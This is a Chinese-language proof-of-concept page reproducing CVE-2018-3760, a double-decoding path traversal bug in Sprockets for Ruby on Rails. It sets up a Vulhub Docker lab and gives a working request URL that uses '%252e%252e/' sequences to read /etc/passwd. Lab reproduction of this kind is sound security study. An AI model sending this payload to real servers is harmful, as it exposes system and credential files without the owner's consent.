Awesome-POC/中间件漏洞/Ruby On Rails 路径穿越漏洞 CVE-2018-3760.md
2024-11-06 14:10:36 +08:00

41 lines
1.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Ruby On Rails 路径穿越漏洞 CVE-2018-3760
## 漏洞描述
Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器Ruby On Rails是著名Ruby Web开发框架Sprockets是编译及分发静态资源文件的Ruby库。
Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用`%252e%252e/`来跨越到根目录,读取或执行目标服务器上任意文件。
参考链接:
- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
- https://seclists.org/oss-sec/2018/q2/210
- https://xz.aliyun.com/t/2542
## 环境搭建
Vulhub启动一个用Ruby On Rails脚手架生成的默认站点
```
docker-compose up -d
```
访问`http://your-ip:3000`即可查看到欢迎页面。
![image-20220228191402366](images/202202281914644.png)
## 漏洞复现
直接访问`http://your-ip:3000/assets/file:%2f%2f/etc/passwd`,将会报错,因为文件`/etc/passwd`不在允许的目录中。
![image-20220228191452991](images/202202281914413.png)
我们通过报错页面,可以获得允许的目录列表。随便选择其中一个目录,如`/usr/src/blog/app/assets/images`,然后使用`%252e%252e/`向上一层跳转,最后读取`/etc/passwd`
```
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
```
![image-20220228191510918](images/202202281915174.png)